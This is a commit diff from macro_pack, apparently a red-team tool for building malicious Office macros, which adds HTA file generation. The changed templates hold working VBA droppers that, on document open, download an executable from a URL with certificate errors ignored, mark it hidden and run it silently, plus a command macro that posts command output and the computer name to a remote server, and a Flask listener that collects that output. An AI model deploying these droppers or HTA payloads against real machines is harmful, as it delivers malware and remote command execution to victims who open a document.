Skip to content

Commit 8b96f99

Browse files
committed
Add HTA file generation
1 parent 1a6efbb commit 8b96f99

11 files changed

+240
-29
lines changed

resources/community/cmd.vba

+2-2
Original file line numberDiff line numberDiff line change
@@ -40,15 +40,15 @@ End Function
4040
Private Function GetId() As String
4141
Dim myInfo As String
4242
Dim myID As String
43-
myID = Environ("COMPUTERNAME") & " " & Environ("OS") & " " & Environ("PROCESSOR_IDENTIFIER")
43+
myID = Environ("COMPUTERNAME") & " " & Environ("OS")
4444
GetId = myID
4545
End Function
4646

4747
'To send response for command'
4848
Private Function SendResponse(cmdOutput)
4949
Dim data As String
5050
Dim response As String
51-
data = "id=" & GetId & vbCrLf & "&cmdOutput=" & vbCrLf & cmdOutput
51+
data = "id=" & GetId & "&cmdOutput=" & cmdOutput
5252
SendResponse = HttpPostData(serverUrl, data)
5353
End Function
5454

resources/community/dropper.vba

+1-1
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ Private Sub DownloadAndExecute()
2222
oStream.Write WinHttpReq.ResponseBody
2323
oStream.SaveToFile downloadPath, 2 ' 1 = no overwrite, 2 = overwrite (will not work with file attrs)
2424
oStream.Close
25-
result = Shell(downloadPath, 0) ' vbHide = 0
25+
CreateObject("WScript.Shell").Run downloadPath, 0
2626
End If
2727

2828
End Sub

resources/community/dropper2.vba

+2-1
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,8 @@ Private Sub DownloadAndExecute()
2828
oStream.SaveToFile downloadPath, 2 ' 1 = no overwrite, 2 = overwrite (will not work with file attrs)
2929
oStream.Close
3030
SetAttr downloadPath, vbReadOnly + vbHidden + vbSystem
31-
result = Shell(downloadPath, 0) ' vbHide = 0
31+
'result = Shell(downloadPath, 0) ' vbHide = 0
32+
CreateObject("WScript.Shell").Run downloadPath, 0
3233
End If
3334

3435
End If

src/common/help.py

+2-2
Original file line numberDiff line numberDiff line change
@@ -141,8 +141,8 @@ def printUsage(banner, currentApp, mpSession):
141141
Help for template usage: %s -t help
142142
143143
-G, --generated=OUTPUT_FILE_PATH. Generates a file containing the macro. Will guess the format based on extension.
144-
Supported extensions are: vba, doc, docm, docx, xls, xlsm, pptm.
145-
Note: Apart from vba which is a text files, all other extension requires Windows OS with genuine MS Office installed.
144+
Supported extensions are: vba, hta, doc, docm, docx, xls, xlsm, pptm.
145+
Note: Apart from vba and hta which are text files, all other extension requires Windows OS with genuine MS Office installed.
146146
147147
--dde \t Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE
148148
DDE attack mode is not compatible with VBA Macro related options.

src/common/templates.py

+14-20
Original file line numberDiff line numberDiff line change
@@ -3,26 +3,18 @@
33

44
HELLO = \
55
"""
6-
Private Sub toto()
6+
Private Sub Hello()
77
MsgBox "Hello from <<<TEMPLATE>>>" & vbCrLf & "Remember to always be careful when you enable MS Office macros." & vbCrLf & "Have a nice day!"
88
End Sub
99
10-
Private Sub testMacroXl()
11-
Application.Run "ThisWorkbook.toto"
12-
End Sub
13-
14-
Private Sub testMacroWd()
15-
toto
16-
End Sub
17-
1810
' triggered when Word/PowerPoint generator is used
1911
Sub AutoOpen()
20-
testMacroWd
12+
Hello
2113
End Sub
2214
2315
' triggered when Excel generator is used
2416
Sub Workbook_Open()
25-
testMacroXl
17+
Hello
2618
End Sub
2719
"""
2820

@@ -40,7 +32,7 @@
4032
myURL = "<<<TEMPLATE>>>"
4133
downloadPath = "<<<TEMPLATE>>>"
4234
43-
Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP")
35+
Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
4436
WinHttpReq.setOption(2) = 13056 ' Ignore cert errors
4537
WinHttpReq.Open "GET", myURL, False ', "username", "password"
4638
WinHttpReq.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
@@ -53,7 +45,8 @@
5345
oStream.Write WinHttpReq.ResponseBody
5446
oStream.SaveToFile downloadPath, 2 ' 1 = no overwrite, 2 = overwrite (will not work with file attrs)
5547
oStream.Close
56-
result = Shell(downloadPath, 0) ' vbHide = 0
48+
CreateObject("WScript.Shell").Run downloadPath, 0
49+
'result = Shell(downloadPath, 0) ' vbHide = 0
5750
End If
5851
5952
End Sub
@@ -83,7 +76,7 @@
8376
downloadPath = "<<<TEMPLATE>>>"
8477
8578
If Dir(downloadPath, vbHidden + vbSystem) = "" Then
86-
Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP")
79+
Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
8780
WinHttpReq.setOption(2) = 13056 ' Ignore cert errors
8881
WinHttpReq.Open "GET", myURL, False ', "username", "password"
8982
WinHttpReq.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
@@ -98,7 +91,7 @@
9891
oStream.SaveToFile downloadPath, 2 ' 1 = no overwrite, 2 = overwrite (will not work with file attrs)
9992
oStream.Close
10093
SetAttr downloadPath, vbReadOnly + vbHidden + vbSystem
101-
result = Shell(downloadPath, 0) ' vbHide = 0
94+
CreateObject("WScript.Shell").Run downloadPath, 0
10295
End If
10396
10497
End If
@@ -516,7 +509,8 @@
516509
Call writeBytes(outFile, decode)
517510
518511
Dim retVal
519-
retVal = Shell(outFile, 0)
512+
'retVal = Shell(outFile, 0)
513+
retVal = CreateObject("WScript.Shell").Run outFile, 0
520514
End Sub
521515
522516
@@ -549,8 +543,8 @@
549543
Private Sub Main()
550544
Dim msg As String
551545
serverUrl = "<<<TEMPLATE>>>"
552-
msg = "<<<TEMPLATE>>>"
553-
On Error GoTo byebye
546+
msg = "<<<TEMPLATE>>>"
547+
On Error GoTo byebye
554548
msg = PlayCmd(msg)
555549
SendResponse msg
556550
On Error GoTo 0
@@ -577,15 +571,15 @@
577571
Private Function GetId() As String
578572
Dim myInfo As String
579573
Dim myID As String
580-
myID = Environ("COMPUTERNAME") & " " & Environ("OS") & " " & Environ("PROCESSOR_IDENTIFIER")
574+
myID = Environ("COMPUTERNAME") & " " & Environ("OS")
581575
GetId = myID
582576
End Function
583577
584578
'To send response for command'
585579
Private Function SendResponse(cmdOutput)
586580
Dim data As String
587581
Dim response As String
588-
data = "id=" & GetId & vbCrLf & "&cmdOutput=" & vbCrLf & cmdOutput
582+
data = "id=" & GetId & "&cmdOutput=" & cmdOutput
589583
SendResponse = HttpPostData(serverUrl, data)
590584
End Function
591585

src/common/utils.py

+6
Original file line numberDiff line numberDiff line change
@@ -47,8 +47,10 @@ class MSTypes():
4747
WD97="Word97"
4848
PPT="PowerPoint"
4949
PPT97="PowerPoint97"
50+
MPP = "MSProject"
5051
PUB="Publisher"
5152
VBA="VBA"
53+
HTA="HTA"
5254
UNKNOWN = "Unknown"
5355

5456
@classmethod
@@ -64,6 +66,10 @@ def guessApplicationType(self, documentPath):
6466
result = self.WD97
6567
elif ".docx" == extension or extension == ".docm":
6668
result = self.WD
69+
elif ".hta" == extension:
70+
result = self.HTA
71+
elif ".mpp" == extension:
72+
result = self.MPP
6773
elif ".ppt" == extension:
6874
result = self.PPT97
6975
elif ".pptm" == extension or extension == ".pptx":

src/macro_pack.py

+9
Original file line numberDiff line numberDiff line change
@@ -12,8 +12,10 @@
1212
from modules.excel_gen import ExcelGenerator
1313
from modules.word_gen import WordGenerator
1414
from modules.ppt_gen import PowerPointGenerator
15+
from modules.msproject_gen import MSProjectGenerator
1516
from modules.template_gen import TemplateToVba
1617
from modules.vba_gen import VBAGenerator
18+
from modules.hta_gen import HTAGenerator
1719
from modules.word_dde import WordDDE
1820
from modules.com_run import ComGenerator
1921
from modules.listen_server import ListenServer
@@ -292,6 +294,9 @@ def main(argv):
292294
elif MSTypes.PPT in mpSession.outputFileType:
293295
generator = PowerPointGenerator(mpSession)
294296
generator.run()
297+
elif MSTypes.MPP == mpSession.outputFileType:
298+
generator = MSProjectGenerator(mpSession)
299+
generator.run()
295300
elif MSTypes.PUB == mpSession.outputFileType and MP_TYPE == "Pro":
296301
generator = PublisherGenerator(mpSession)
297302
generator.run()
@@ -337,6 +342,10 @@ def main(argv):
337342
generator = DcomGenerator(mpSession)
338343
generator.run()
339344

345+
if mpSession.outputFileType == MSTypes.HTA:
346+
generator = HTAGenerator(mpSession)
347+
generator.run()
348+
340349
if mpSession.outputFileType == MSTypes.VBA or mpSession.outputFilePath == None:
341350
generator = VBAGenerator(mpSession)
342351
generator.run()

src/modules/hta_gen.py

+108
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
#!/usr/bin/env python
2+
# encoding: utf-8
3+
4+
import logging
5+
from modules.mp_module import MpModule
6+
import re
7+
8+
HTA_TEMPLATE = \
9+
r"""
10+
<!DOCTYPE html>
11+
<html>
12+
<head>
13+
<HTA:APPLICATION />
14+
<script type="text/vbscript">
15+
<<<VBS>>>
16+
<<<MAIN>>>
17+
Close
18+
</script>
19+
</head>
20+
<body>
21+
</body>
22+
</html>
23+
24+
"""
25+
26+
class HTAGenerator(MpModule):
27+
""" Module used to generate HTA file from working dir content"""
28+
29+
def vbScriptCheck(self):
30+
logging.info(" [-] Check if VBA->VBScript is possible...")
31+
# Check nb of source file
32+
if len(self.getVBAFiles())>1:
33+
logging.info(" [-] This module cannot handle more than one VBA file. Abort!")
34+
return False
35+
36+
f = open(self.getMainVBAFile())
37+
content = f.readlines()
38+
f.close()
39+
# Check there are no call to Application object
40+
for line in content:
41+
if line.find("Application.") != -1:
42+
logging.info(" [-] You cannot access Application object in VBScript. Abort!")
43+
return False
44+
45+
# Check there are no DLL import
46+
for line in content:
47+
matchObj = re.match( r'.*(Sub|Function)\s*([a-zA-Z0-9_]+)\s*Lib\s*"(.+)"\s*.*', line, re.M|re.I)
48+
if matchObj:
49+
logging.info(" [-] VBScript does not support DLL import. Abort!")
50+
return False
51+
return True
52+
53+
54+
def vbScriptConvert(self):
55+
logging.info(" [-] Convert VBA to VBScript...")
56+
translators = [("Val(","CInt("),(" Chr$"," Chr"),(" Mid$"," Mid"),("On Error","//On Error"),("byebye:",""), ("Next ", "Next //")]
57+
translators.extend([(" As String"," "),(" As Object"," "),(" As Long"," "),(" As Integer"," ")])
58+
f = open(self.getMainVBAFile())
59+
content = f.readlines()
60+
f.close()
61+
isUsingEnviron = False
62+
for n,line in enumerate(content):
63+
# Do easy translations
64+
for translator in translators:
65+
line = line.replace(translator[0],translator[1])
66+
67+
# Check if ENVIRON is used
68+
if line.find("Environ(")!= -1:
69+
isUsingEnviron = True
70+
line = re.sub('Environ\("([A-Z_]+)"\)',r'wshShell.ExpandEnvironmentStrings( "%\1%" )' , line, flags=re.I)
71+
content[n] = line
72+
# ENVIRON("COMPUTERNAME") ->
73+
#Set wshShell = CreateObject( "WScript.Shell" )
74+
#strComputerName = wshShell.ExpandEnvironmentStrings( "%COMPUTERNAME%" )
75+
76+
# Write in new VBS file
77+
f = open(self.getMainVBAFile()+".vbs", 'a')
78+
if isUsingEnviron:
79+
f.write('Set wshShell = CreateObject( "WScript.Shell" )\n')
80+
f.writelines(content)
81+
f.close()
82+
83+
84+
def genHTA(self):
85+
logging.info(" [-] Generating HTA file...")
86+
f = open(self.getMainVBAFile()+".vbs")
87+
vbsContent = f.read()
88+
f.close()
89+
# Write VBS in template
90+
htaContent = HTA_TEMPLATE
91+
htaContent = htaContent.replace("<<<VBS>>>", vbsContent)
92+
htaContent = htaContent.replace("<<<MAIN>>>", self.startFunction)
93+
# Write in new HTA file
94+
f = open(self.outputFilePath, 'w')
95+
f.writelines(htaContent)
96+
f.close()
97+
logging.info(" [-] Generated HTA file: %s" % self.outputFilePath)
98+
99+
100+
def run(self):
101+
logging.info(" [+] Generating HTA file from VBA...")
102+
if not self.vbScriptCheck():
103+
return
104+
self.vbScriptConvert()
105+
self.genHTA()
106+
107+
108+

src/modules/listen_server.py

+2-2
Original file line numberDiff line numberDiff line change
@@ -66,7 +66,7 @@ def answer():
6666
""" called by bot when responding to command """
6767
clientId = request.form['id']
6868
cmdOutput = request.form['cmdOutput']
69-
logging.info(" [-] %s: %s " % (clientId,cmdOutput))
69+
logging.info(" [-] From %s received:\n %s " % (clientId,cmdOutput))
7070
return make_response("OK")
7171

7272

@@ -91,7 +91,7 @@ def upload():
9191
@secure_http_response
9292
def download(filename):
9393

94-
uploads = os.path.join(os.path.dirname(getRunningApp()) , webapp.config['UPLOAD_FOLDER']) #@UndefinedVariable
94+
uploads = os.path.dirname(getRunningApp())
9595
logging.info(" [-] Sending file: %s" % (os.path.join(uploads,filename)))
9696
return send_from_directory(directory=uploads, filename=filename)
9797

0 commit comments

Comments
 (0)